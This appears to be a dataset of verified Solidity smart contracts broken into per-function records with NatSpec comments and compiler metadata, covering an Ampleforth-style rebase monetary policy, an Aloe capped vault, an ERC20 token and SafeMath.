* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/ | NatSpecMultiLine | setCpiOracle | function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
| /**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
6529,
6659
]
} | 1,387 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | MonetaryPolicy | contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
} | /**
* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/ | NatSpecMultiLine | setMarketOracle | function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
| /**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
6809,
6951
]
} | 1,388 |
AloePoolCapped | contracts/AloePoolCapped.sol | 0x325441fdb3bd45a8093994303cf9b67f3689ac11 | Solidity | AloePoolCapped | contract AloePoolCapped is AloePool {
using SafeERC20 for IERC20;
address public immutable MULTISIG;
uint256 public maxTotalSupply;
constructor(address predictions, address multisig) AloePool(predictions) {
MULTISIG = multisig;
}
function deposit(
uint256 amount0Max,
uint256 amount1Max,
uint256 amount0Min,
uint256 amount1Min
)
public
override
lock
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
(shares, amount0, amount1) = super.deposit(amount0Max, amount1Max, amount0Min, amount1Min);
require(totalSupply() <= maxTotalSupply, "Aloe: Pool already full");
}
/**
* @notice Removes tokens accidentally sent to this vault.
*/
function sweep(
IERC20 token,
uint256 amount,
address to
) external {
require(msg.sender == MULTISIG, "Not authorized");
require(token != TOKEN0 && token != TOKEN1, "Not sweepable");
token.safeTransfer(to, amount);
}
/**
* @notice Used to change deposit cap for a guarded launch or to ensure
* vault doesn't grow too large relative to the UNI_POOL. Cap is on total
* supply rather than amounts of TOKEN0 and TOKEN1 as those amounts
* fluctuate naturally over time.
*/
function setMaxTotalSupply(uint256 _maxTotalSupply) external {
require(msg.sender == MULTISIG, "Not authorized");
maxTotalSupply = _maxTotalSupply;
}
} | sweep | function sweep(
IERC20 token,
uint256 amount,
address to
) external {
require(msg.sender == MULTISIG, "Not authorized");
require(token != TOKEN0 && token != TOKEN1, "Not sweepable");
token.safeTransfer(to, amount);
}
| /**
* @notice Removes tokens accidentally sent to this vault.
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
827,
1103
]
} | 1,389 |
||||
AloePoolCapped | contracts/AloePoolCapped.sol | 0x325441fdb3bd45a8093994303cf9b67f3689ac11 | Solidity | AloePoolCapped | contract AloePoolCapped is AloePool {
using SafeERC20 for IERC20;
address public immutable MULTISIG;
uint256 public maxTotalSupply;
constructor(address predictions, address multisig) AloePool(predictions) {
MULTISIG = multisig;
}
function deposit(
uint256 amount0Max,
uint256 amount1Max,
uint256 amount0Min,
uint256 amount1Min
)
public
override
lock
returns (
uint256 shares,
uint256 amount0,
uint256 amount1
)
{
(shares, amount0, amount1) = super.deposit(amount0Max, amount1Max, amount0Min, amount1Min);
require(totalSupply() <= maxTotalSupply, "Aloe: Pool already full");
}
/**
* @notice Removes tokens accidentally sent to this vault.
*/
function sweep(
IERC20 token,
uint256 amount,
address to
) external {
require(msg.sender == MULTISIG, "Not authorized");
require(token != TOKEN0 && token != TOKEN1, "Not sweepable");
token.safeTransfer(to, amount);
}
/**
* @notice Used to change deposit cap for a guarded launch or to ensure
* vault doesn't grow too large relative to the UNI_POOL. Cap is on total
* supply rather than amounts of TOKEN0 and TOKEN1 as those amounts
* fluctuate naturally over time.
*/
function setMaxTotalSupply(uint256 _maxTotalSupply) external {
require(msg.sender == MULTISIG, "Not authorized");
maxTotalSupply = _maxTotalSupply;
}
} | setMaxTotalSupply | function setMaxTotalSupply(uint256 _maxTotalSupply) external {
require(msg.sender == MULTISIG, "Not authorized");
maxTotalSupply = _maxTotalSupply;
}
| /**
* @notice Used to change deposit cap for a guarded launch or to ensure
* vault doesn't grow too large relative to the UNI_POOL. Cap is on total
* supply rather than amounts of TOKEN0 and TOKEN1 as those amounts
* fluctuate naturally over time.
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
1385,
1558
]
} | 1,390 |
||||
Seals | Seals.sol | 0x329023f4014a32ec5380c2be2468095886cb50be | Solidity | ERC20 | contract ERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1))
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | totalSupply | function totalSupply() public view returns (uint256) {
return _totalSupply;
}
| /**
* @dev Total number of tokens in existence
*/ | NatSpecMultiLine | v0.5.17+commit.d19bba13 | None | bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4 | {
"func_code_index": [
454,
550
]
} | 1,391 |
||
Seals | Seals.sol | 0x329023f4014a32ec5380c2be2468095886cb50be | Solidity | ERC20 | contract ERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1))
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | balanceOf | function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.5.17+commit.d19bba13 | None | bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4 | {
"func_code_index": [
760,
871
]
} | 1,392 |
||
Seals | Seals.sol | 0x329023f4014a32ec5380c2be2468095886cb50be | Solidity | ERC20 | contract ERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1))
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | allowance | function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.5.17+commit.d19bba13 | None | bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4 | {
"func_code_index": [
1200,
1336
]
} | 1,393 |
||
Seals | Seals.sol | 0x329023f4014a32ec5380c2be2468095886cb50be | Solidity | ERC20 | contract ERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1))
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | transfer | function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
| /**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/ | NatSpecMultiLine | v0.5.17+commit.d19bba13 | None | bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4 | {
"func_code_index": [
1501,
1646
]
} | 1,394 |
||
Seals | Seals.sol | 0x329023f4014a32ec5380c2be2468095886cb50be | Solidity | ERC20 | contract ERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1))
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | approve | function approve(address spender, uint256 value) public returns (bool) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/ | NatSpecMultiLine | v0.5.17+commit.d19bba13 | None | bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4 | {
"func_code_index": [
2280,
2486
]
} | 1,395 |
||
Seals | Seals.sol | 0x329023f4014a32ec5380c2be2468095886cb50be | Solidity | ERC20 | contract ERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1))
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | transferFrom | function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1))
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
| /**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/ | NatSpecMultiLine | v0.5.17+commit.d19bba13 | None | bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4 | {
"func_code_index": [
2947,
3263
]
} | 1,396 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | GNU LGPLv2.1 | ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909 | {
"func_code_index": [
251,
437
]
} | 1,397 |
||
Metamask | Metamask.sol | 0x2f5854646497ff426df56c86f134d1f313fe4f90 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
